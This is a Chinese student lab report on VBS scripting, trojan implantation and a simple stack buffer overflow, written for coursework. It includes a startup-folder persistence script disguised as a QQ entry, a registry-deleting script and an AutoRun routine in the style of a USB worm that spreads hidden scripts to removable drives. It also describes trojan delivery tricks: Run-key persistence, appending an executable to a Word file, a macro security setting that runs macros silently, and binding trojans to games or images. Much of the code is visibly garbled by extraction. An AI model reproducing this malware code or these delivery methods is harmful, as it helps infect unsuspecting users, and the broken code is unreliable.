目 录
一、实验目的…………………………………………………… 第 2页
二、实验器材…………………………………………………… 第 2页
三、实验步骤…………………………………………………… 第 2页
四、分析和结论………………………………………………… 第 7页
一、 实验目的:
1. 掌握VBS脚本语言的基本编程知识。
2. 掌握木马的植入和运行方式。
3. 掌握缓冲区溢出原理并编写缓冲区溢出程序。
二、 试验器材
PC机一台、木马运行工具
三、 实验步骤:
A、Vbs 脚本的编写
(1).运用 vbs 打开出现一个 cmd 窗口。
程序如下:
set wshshell=wscript.createobject("wscript.shell")
wshshell.run "cmd"
wscript.sleep 100
wshshell.appactivate "命令提示符"
运行:
1
(2).添加“腾讯 QQ”:
程序代码如下:
Set fso = wscript.CreateObject("Scripting.FileSystemObject")
TmpPath = CreateObject("Wscript.Shell").ExpandEnvironmentStrings("%USERPROFILE%")
set f=fso.createtextfile(TmpPath & "\「开始」菜单\程序\启动\腾讯 QQ")
f.writeline("msgbox "&chr(34)& "测试启动" &chr(34))
f.close
编写之前:
编写后:
2
完成。
B、对注册表的修改:
修改快捷方法的箭头:
程序:
'Hidden.vbs
Dim HiddenArrowIcon
Set HiddenArrowIcon=WScript.CreateObject("WScript.Shell")
Dim RegPath1,RegPath2
RegPath1="HKCR\lnkfile\IsShortCut"
RegPath2="HKCR\piffile\IsShortCut"
HiddenArrowIcon.RegDelete(RegPath1)
HiddenArrowIcon.RegDelete(RegPath2)
修改前:
修改后:
C、汇编病毒样历程序的运行和调试 masm:
代码:Sub AutoRun(objfso, D, vbsCode)
On Error Resume Next
Dim path_autorun, path_vbs, inf_autorun
path_autorun = D & ":\AutoRun.inf"
path_vbs = D & ":\" & Name_V1
Or
If
objfso.FileExists(path_autorun) = False Or GetVersion(objfso,
path_vbs)
If objfso.FileExists(path_vbs) = True Then
objfso.DeleteFile path_vbs, True
End If
Call CopyFile(objfso, vbsCode, path_vbs)
Call SetFileAttr(objfso, path_vbs)
inf_autorun = "[AutoRun]" & VBCRLF & "Shellexecute=WScript.exe " &
Name_V1 & " ""AutoRun""" & VBCRLF & "shell\AutoRun=打开(&O)" & VBCRLF
& "shell\AutoRun\command=WScript.exe " & Name_V1 & " ""AutoRun"""
&
&
"shell\AutoRun1\command=WScript.exe " & Name_V1 & " ""AutoRun"""
Call CopyFile(objfso, inf_autorun, path_autorun)
Call SetFileAttr(objfso, path_autorun)
End If
End Sub
注:自动搜索插在计算机上的移动磁盘,并生成 AutoRun.inf 和.vbs 文件放到磁盘中。
"shell\AutoRun1= 资 源 管 理 器 (&X)"
VBCRLF
&
&
VBCRLF
4
D、木马植入方法:
1. 利用启动入口植入:
如:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run;
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run;
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Windows
AppInit_DLLs
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run
这么多的启动入口,木马自然不会放过,于是我们经常在一些计算机的启动项里发现陌
生的程序名,这时候就只能交由你或者病毒防火墙来判断了,毕竟系统自身会在这里放置一
些必要的初始化程序,还有一些正常工具,包括病毒防火墙和网络防火墙,它们也必须通过
启动项来实现跟随系统启动。
2.在 Word 文档中加入木马文件:
这种植入木马的方法就是新建一个 DOC 文件,然后利用 VBA 写一段特定的代码,把文
档保存为 newdoc.doc,然后把木马程序与这个 DOC 文件放在同一个目录下,运行如下命
令:copy/bxxxx.doc+xxxxx.exenewdoc.doc 把这两个文件合并在一起(在 Word 文档
末尾加入木马文件),只要别人点击这个所谓的 Word 文件就会中木马。
不过,以上方法能得以实现的前提是用户的 Word2000 安全度为最低的时候才行,即
HKEYCURRENT_USER \Software \Microsoft \Office\9 .0 \Word\Security 中 的
Level 值必须是 1 或者 0。大家知道,当 Level 值为 3 的时候(代表安全度为高),Word 不会
运行任何宏;Level 值为 2 时(安全度中),Word 会询问是否运行宏;Level 值为 1 的时候(安
全度低),Word 就会自动运行所有的宏。而如果这个值为 0 的时候 Word 虽然会显示安全度
为高,但能够自动运行任何宏!
要想把 Word 的安全度在注册表中的值改为 0,方法非常多,利用网页恶意代码修改浏览者
的注册表就可以。在这方面大家都有很多经验,就不多说了。对于这种欺骗方式,最重要的
是小心防范,陌生人的附件千万不要查看。网上的链接也不要随意点击,如要点击应确认是
否为.DOC 文件,如是则一定不要直接点击查看。
5
3. 捆绑欺骗:
把木马服务端和某个游戏或工具捆绑成一个文件在 QQ 或邮件中发给别人,别人运行后它们
往往躲藏在 Windows 的系统目录下,图标伪装成一个文本文件或者网页文件,通过端口与外
界进行联系。然后把自己和一些 EXE 文件捆绑在一起,或者采用改变文件关联方式的方法来
达到自启动的目的。而且,即使以后系统重装了,如果该程序还是保存着的话,还是有可能
再次中招的。捆绑欺骗大多采用捆绑软件如 Deception Binder 进行以下几种很常见的方式:
将一款小游戏和木马服务端捆绑成一个文件;
把一个 txt 文件和木马服务端捆绑成一个文件;
把一个 JPG 图片和木马服务端捆绑成一个文件。
Deception Binder 的程序运行界面如图 3 所示。
图 3:Deception Binder 的程序运行界面
Deception Binder 程序一个外国的小巧的文件合并器,虽然小巧,功能却不错,可以设置捆
绑的程序打开文件是否隐蔽运行,设置打开文件是否加入注册表启动项,设置打开文件时
E、缓冲区溢出实验:
(1).原理:
缓冲区是内存中存放数据的地方。在程序试图将数据放到机器内存中的某一个位置的时候,
因为没有足够的空间就会发生缓冲区溢出。而人为的溢出则是有一定企图的,攻击者写一个
超过缓冲区长度的字符串,植入到缓冲区,然后再向一个有限空间的缓冲区中植入超长的字
符串,这时可能会出现两个结果:一是过长的字符串覆盖了相邻的存储单元,引起程序运行
失败,严重的可导致系统崩溃;另一个结果就是利用这种漏洞可以执行任意指令,甚至可以
取得系统 root 特级权限。
缓冲区是程序运行的时候机器内存中的一个连续块,它保存了给定类型的数
据,随着动态分配变量会出现问题。大多时为了不占用太多的内存,一个有动态分配变量的
程序在程序运行时才决定给它们分配多少内存。如果程序在动态分配缓冲区放入超长的数
据,它就会溢出了。一个缓冲区溢出程序使用这个溢出的数据将汇编语言代码放到机器的内
存里,通常是产生 root 权限的地方。仅仅单个的缓冲区溢出并不是问题的根本所在。但如
果溢出送到能够以 root 权限运行命令的区域,一旦运行这些命令,那可就等于把机器拱手
相让了
(2)程序代码及分析:
#include
#include
6
char bigstr[24]="hello,world,hello,world";
int
main(int argc,char **argv)
{
char littlestr[5]="hello";
int i;
for(i=0;i<24;i++)
littlestr[i]=bigstr[i];
return 0;
}
分析:
为了实现覆盖,修改 gcc 参数 -mpreferred-stack-boundary 为 2
gcc -o test -g test.c -mpreferred-stack-boundary=2
察看汇编代码为:
pushl %ebp
movl %esp,%ebp
subl $20,%esp
movl .LC0,%eax
movl %eax,-16(%ebp)
可见,gcc 为 main 堆栈保留了 20 个字节的局部变量空间,而 littlestr 的地址
在旧的 ebp 以下 16 个字节处。因此函数的返回地址距离 littlestr 为 16+4=20
字节。故,复制 24 个字节时,最后的 4 个字节将覆盖掉返回地址。
gdb 调试:
run
x/2x $ebp
四、 总结:
通过这次实验我对 VBS、病毒和病毒的攻击方式及堆栈的溢出原理有了
一定的了解,同时复习了相关的汇编知识,巩固了对 MASM 的运用。在这次
实验中我遇了很多的问题,在看过老师的 PPT 和请教同学后才得到解决,在此
感谢老师和同学的帮助。
7